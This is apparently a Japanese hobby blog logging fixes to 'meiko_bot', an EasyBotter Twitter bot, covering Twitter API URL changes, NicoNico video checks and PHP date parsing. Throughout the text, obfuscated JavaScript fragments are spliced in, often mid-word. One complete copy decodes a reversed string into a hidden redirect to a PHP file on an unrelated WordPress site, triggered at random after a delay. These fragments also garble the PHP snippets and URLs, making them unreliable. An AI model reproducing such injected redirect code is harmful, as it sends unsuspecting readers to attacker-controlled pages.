【meiko_bot】古い仕様だったためツイートできなくなっていたので修正

10/10頃からmeiko_botが正しく動いていないのに本日気づきました。

以下のように暫定でURLを置換すればよいみたいですが、どうもツイッターの仕様的に

今後は、これもだめになるみたいです。ただ、すぐにはどうすれば良いのかわからなかったので

一旦、これでお茶を濁して、対応方法がわかるまでこのままとしたいと思います。

xmlを参照している部分のURLを下記のように置換しています。

「twitter.com」を「api.twitter.com」に置換

例えば、以下のような感じです(赤字部分を置換)

置換前dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

https://twitter.com/statuses/update.xml

置換後dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

http://api.twitter.com/1/statuses/update.xml

というわけで、2週間程度meiko_botが再び活動を開始しました。

【meiko_bot】ニコニコ動画の動画紹介時の紹介済判断方法の変更

たまに、昔に紹介済みの動画を紹介することがあってなんでだろうと思っていました。

どうも、何かの拍子に昔に投稿された動画が新着のRSSに載るみたいです。

動画情報を修正したときかとかなのかな?

RSSに入っている情報のうち、まだ紹介していない動画を紹介するようにしていましたが

古い動画だとRSSからすでに消えているものがあり、そのため、紹介済みとならなくて

そのまま投稿になってしまうみたい。

(紹介済みとして保持している情報数が少ないのが問題)

投稿日時と現在日時でチェックする方法もあるんだけど、今の仕様のままだと漏れとか

色々あるかもしれないのでシンプルかつ、漏れないように大幅に変更しました。

RSSに乗っている動画(だいた30件程度)のなかで、紹介済みかを判断するのではなく

紹介した動画の動画IDをファイル名として作成しておき、そのファイルがあるかチェックするというシンプルなチェック。

今まではテキストファイルで書き込み&読み込みしながらチェックしていたので、いろいろ面倒な処理をいれていましたが

これでとてもシンプルになりました。

これで、古い動画がでなくなるといいな。

先程、修正したファイルをリリースしたら、5/5投稿の2件がツイートされちゃった。

どうも、紹介済みとしてファイルを作っておかないといけないものから漏れていたみたい。

今からは正しく動くかな?

大幅に変更したのでしばらく様子見。

GW頃に親密度の高い人が、24時間以内に話しかけた時のリプライパターンを増やしたんだけど、親密度高い人が少ないことが判明。

意味がほとんどなかったです。

リプライパターンがあいかわらず少ないので、こつこつ増やしておきます。

meiko_bot 投稿時間の取得を失敗していたため修正

twitterで稼働させているmeiko_botの修正しました。

meiko_botはこちらです。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}https://twitter.com/#!/meiko_bot

ニコニコ動画で投稿された作品をRSSによるタグ検索で取得していました。

その中に投稿日時が入っていたのですが、出力される形式が変わっていて取得できなくなっていました。

XML形式で出力されていますが、タグの構造が変わっていたために取得元データなしの状態になっていたということです。

今回はRSSで出力される情報ではなく、ニコニコ動画が提供しているAPIから投稿日時を取得するように変更しました。

もともと動画のタグ情報をニコニコ動画のAPIから取得していたので対応は簡単。

APIでは、以下のようなURLによって、結果がXML形式で帰ってきます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404″ target=”_blank”> http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/sm17281404

こんなソースになります。

$nicoadは動画のIDになります。

$nicoapi_url = “http://ext.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/api/getthumbinfo/”;

$nikoapi_dougaid = str_replace(“http://www.nicovidom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}deo.jp/watch/”,””,$nicoad);

$nicoapi_xml = simplexml_load_file($nicoapi_url.$nikoapi_dougaid);

結果は以下のような感じで戻ってきます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

上記の結果をもとに、投稿日時としてfirst_retrieveの部分を取得します。

ただし、「2012-04-21T18:22:50+09:00」のような形式にになっているのでmm月dd日 HH時mm分の形式となるように整形しています。

(固定長っぽいので、原始的に桁区切りで整形しています)

$douga_date = $nicoapi_xml->thumb->first_retrieve[0]; //投稿日時

$nico_regdate = intval(mb_substr($douga_date,5,2)).”月”.intval(mb_substr($douga_date,8,2)).”日”.intval(mb_substr($douga_date,11,2)).”時”.intval(mb_substr($douga_date,14,2)).”分”; //整形

テスト用のアカウントで動作確認。

0月0日0時0分になっていたのが、正しく表示されるようになりました。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

謝辞dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

正しく処理されていない状態になっていることを教えてくれた、かきにゃん@柿太郎さん、ありがとうございました。

追記dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

2012/4/22 10:14

meiko_botが投稿日時なしでつぶやいていたので、なんでかと思ったら、修正版をアップしてなかった。だめすぎるorz

今度こそ、アップロードしました。

meiko_botで自動フォローが正常に動いてない件(解決)、ほか修正

meiko_botを修正しました。修正内容は以下のとおりです。

・自動でフォロー返しされない件を修正

・自動でフォローしたときにリプライをするように変更

・鍵付きの人へ自動でフォロー返しをしないように変更

・ニコニコ動画でMEIKOに関する動画が投稿されたらツイートする方法を変更



自動フォローが正常に動いていなかった件ですが、TwitterのAPIが変更になったためでした。

以下のサイトの内容をもとに修正しました。

EDOスタイル: EasyBotter2.05が自動フォロー返ししない問題を解決する方法

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/**/dostyle.blogspot.com/2011/06/easybotter205.html”>http://edostyle.blogspot.com/2011/06/easybotter205.html

・TwitterのAPIが変更されているために自動でフォロー返しする機能が動かなくなっていると書いてあったので修正。

1.フォロワー情報を取得する際のxmlのURLが変わっているので以下のように修正

 修正前

  http://twitter.com/statuses/followers.xml

 修正後

  http://api.twitter.com/1/statuses/followers.xml

2.フォローユーザの情報取得のURLも以下のように修正

 修正前

  http://twitter.com/friendships/create/~フォローする相手のスクリーンネーム~.xml

 修正後

  http://api.twitter.com/1/friendships/create/~フォローする相手のスクリーンネーム~.xml”;



あと、今回の件でしらべていたら、

このページを見ながら以下の機能を修正しました。

EasyBotter 非公式wiki – ver.2.0/応用/機能追加/reply

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www26.atwiki.jp/easybotter_wiki/pages/26.html#id_04ff8ffe

・鍵付きの人へ自動でフォロー返しをしないように変更

・自動でフォロー返しをした時にリプライを送るように変更



さらに、ニコニコ動画でMEIKO関連の動画が登校されていたらツイートする機能を修正。

取得する手順が変わったのみです。

<仕様変更前>

・最新の1つを取得して、前回と同じURLだったらツイートしない

<仕様変更後>

・最新から直近10件を取得して、その中でツイートしていないものがあれば、ツイートする。

・ツイートしていないかは、前回取得したURLをテキストで保持しておいて、比較することで判定

これで、動画が短時間に投稿されたことで紹介がもれることが減ると思います。

meiko_botで自動フォローが正常に動いてない件(未解決)

meiko_botは自動でフォロー返しする仕様なのですが、いつごろからかわかりませんが、フォロー返しが正常に動いていません。

そのため、手動でフォロー返しをさせていただいています。

対応できるまでは手動でフォロー返しをさせていただきます。

なお、meiko_botはの反応はフォロー・アンフォローの区別はありません。